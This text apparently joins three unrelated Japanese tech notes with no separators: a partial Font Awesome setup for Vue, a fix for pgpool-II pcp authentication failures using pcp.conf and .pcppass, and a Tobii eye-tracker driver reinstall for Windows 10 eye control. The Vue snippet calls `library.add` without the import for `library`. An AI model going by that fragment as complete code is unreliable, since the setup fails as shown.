import { fas } from '@fortawesome/free-solid-svg-icons';
import { far } from '@fortawesome/free-regular-svg-icons';
import { fab } from '@fortawesome/free-brands-svg-icons';
import { FontAwesomeIcon } from '@fortawesome/vue-fontawesome';

// アイコンを読み込み
library.add(fas, far, fab);

// Vueコンポーネントを作成
Vue.component('v-fa', FontAwesomeIcon);
```

通常は下記で使用できるが

```vue
<font-awesome-icon icon="coffee" />
```

ブランドアイコンのみ下記のように指定する必要がある

```vue
<font-awesome-icon :icon="['fab', 'twitter']"　/>
```
pgpool-Ⅱ「FATAL:  authentication failed for user "****"」への対処

## はじめに

pcpコマンド使用時に下記のエラーが発生した場合に対処例を記載。


```bash
$ pcp_watchdog_info -h localhost -U test_db_user
FATAL:  authentication failed for user "test_db_user"
DETAIL:  username and/or password does not match
```

---

## 対処例

PCPコマンドを使用するにはユーザ認証が必要になるので、ユーザ名とmd5ハッシュに変換されたパスワードを/etc/pgpool-II/pcp.confファイルに設定する必要がある。

下記例では、ユーザ「test_db_user」に平文のパスワード「test_db_passwd」をmd5に変換してpcp.confに設定している。


```bash
$ echo "test_db_user:$(pg_md5 --username=test_db_user test_db_passwd)" 
test_db_user:58acbaafa69f725a3a1063a960b93bb1

$ echo "test_db_user:$(pg_md5 --username=test_db_user test_db_passwd)" >> /etc/pgpool-II/pcp.conf

$ pcp_watchdog_info -h localhost -U test_db_user
→ 平文のパスワードを入力
192.168.100.3:9999 Linux test2-server.novalocal 192.168.100.3 9999 9000 7 STANDBY
192.168.100.2:9999 Linux test-server.novalocal 192.168.100.2 9999 9000 4 MASTER
```

また、pcpコマンドは、-wをつけるとコマンドは.pcppassファイルから読み込むので、パスワード入力をせずに、コマンドの実行が可能。


.pcppassファイルは、環境変数PCPPASSFILEに設定されているファイルパス、または、~/.pcppassとなる。

```bash
$ export PCPPASSFILE
$ PCPPASSFILE=/var/lib/pgsql/.pcppass
$ chmod 0600 /var/lib/pgsql/.pcppass
$ pcp_watchdog_info -h localhost -U test_db_user -w
```

https://www.pgpool.net/docs/latest/ja/html/example-cluster.html
Tobii Eye Tracker 4CでWindows 10の視線制御機能がONにできないときの対処方法

小ネタです。

視線入力で有名なTobii Eye Tracker 4C。

使い方によっては非常に便利なのですが、ときどきうまく動いてくれないときがあります。
そのようなときのトラブルシューティングとしては
様々な人がすでにネット上で公開されていますのでそちらをみていただければ
と思います。

参考URL：
https://www.poran.net/ito/archives/8181

以下は私が遭遇したトラブルでネット上で見つけられなかった解決方法の紹介です。

# 現象
Windows10の設定で「視線制御」の機能がONにできない。

スタートボタン ＞ 設定 ＞ コンピュータの簡単操作 ＞ 視線制御
で、通常であれば
「視線制御を使用する（プレビュー）」で
この機能をオンにする選択肢が出て選択できるが、この選択肢が出ない。

代わりに
「視線制御を使用するには、サポートされている視線追跡デバイスを接続します」
と表示される。

「視線制御を使用する（プレビュー）」とwindows上で表記されていますので正式版ではないのでしょうが使い勝手を試してみたいところ。

# 解決方法
ドライバーを以下のリンクの手順で完全削除後、ドライバーをインストールし直します。
https://www.e-unicorn.co.jp/miyasuku/Tobii%E3%83%89%E3%83%A9%E3%82%A4%E3%83%90%E5%89%8A%E9%99%A4%E3%83%BB%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB%E6%89%8B%E9%A0%8620180517.pdf

この場合レジストリまで消さないと直りません。
他のトラブル時には大抵は単純にドライバのアンインストールとインストールで直りますが
この場合はだめでした。